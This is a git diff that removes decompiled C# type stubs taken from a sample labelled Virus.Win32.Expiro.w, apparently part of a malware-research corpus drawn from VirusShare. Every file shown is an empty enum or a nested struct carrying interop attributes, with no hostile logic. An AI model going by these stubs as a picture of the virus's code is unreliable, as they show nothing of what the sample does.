a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPOINTERINACTIVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPOINTERINACTIVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPOINTERINACTIVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPBAG2_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPBAG2_TYPE.cs deleted file mode 100644 index 50b15092..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPBAG2_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPBAG2_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPBAG2_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_AGGREGATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_AGGREGATION_TYPE.cs deleted file mode 100644 index fc688655..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_AGGREGATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_AGGREGATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_AGGREGATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_COLUMNINDEX_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_COLUMNINDEX_TYPE.cs deleted file mode 100644 index 12897d23..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_COLUMNINDEX_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_COLUMNINDEX_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPROPDESC_COLUMNINDEX_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_CONDITION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_CONDITION_TYPE.cs deleted file mode 100644 index a1c5d6e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_CONDITION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_CONDITION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_CONDITION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_DISPLAYTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_DISPLAYTYPE.cs deleted file mode 100644 index 1a8e1c90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_DISPLAYTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_DISPLAYTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_DISPLAYTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_ENUMFILTER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_ENUMFILTER.cs deleted file mode 100644 index 3717529e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_ENUMFILTER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_ENUMFILTER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_ENUMFILTER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_FORMAT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_FORMAT_FLAGS.cs deleted file mode 100644 index 8fc76718..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_FORMAT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_FORMAT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_FORMAT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_GROUPING_RANGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_GROUPING_RANGE.cs deleted file mode 100644 index 7ac02272..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_GROUPING_RANGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_GROUPING_RANGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_GROUPING_RANGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs deleted file mode 100644 index 726e9273..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_RELATIVEDESCRIPTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_RELATIVEDESCRIPTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SEARCHINFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SEARCHINFO_FLAGS.cs deleted file mode 100644 index 0b013eed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SEARCHINFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_SEARCHINFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_SEARCHINFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SORTDESCRIPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SORTDESCRIPTION.cs deleted file mode 100644 index 63a81e50..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SORTDESCRIPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_SORTDESCRIPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPDESC_SORTDESCRIPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_TYPE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_TYPE_FLAGS.cs deleted file mode 100644 index 1d364242..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_TYPE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_TYPE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_TYPE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_VIEW_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_VIEW_FLAGS.cs deleted file mode 100644 index 9644b290..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_VIEW_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_VIEW_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPDESC_VIEW_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPENUMTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPENUMTYPE.cs deleted file mode 100644 index 5bf58977..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPENUMTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPENUMTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPENUMTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FLAGS.cs deleted file mode 100644 index 94d29140..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPERTYUI_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FORMAT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FORMAT_FLAGS.cs deleted file mode 100644 index 2c8257d9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FORMAT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_FORMAT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPERTYUI_FORMAT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_NAME_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_NAME_FLAGS.cs deleted file mode 100644 index 17af4d0a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_NAME_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_NAME_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPERTYUI_NAME_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPPAGESTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPPAGESTATUS.cs deleted file mode 100644 index 2a715e5e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPPAGESTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPPAGESTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPPAGESTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPVARIANT.cs deleted file mode 100644 index 7f540ef2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPVARIANT.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagPROPVARIANT -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024307\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024308\u0024 - { - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024309\u0024 - { - } - } - } - - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024236\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024237\u0024 - { - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024238\u0024 - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPictureAttributes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPictureAttributes.cs deleted file mode 100644 index bc4ac97a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPictureAttributes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPictureAttributes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPictureAttributes -{ -} diff --git 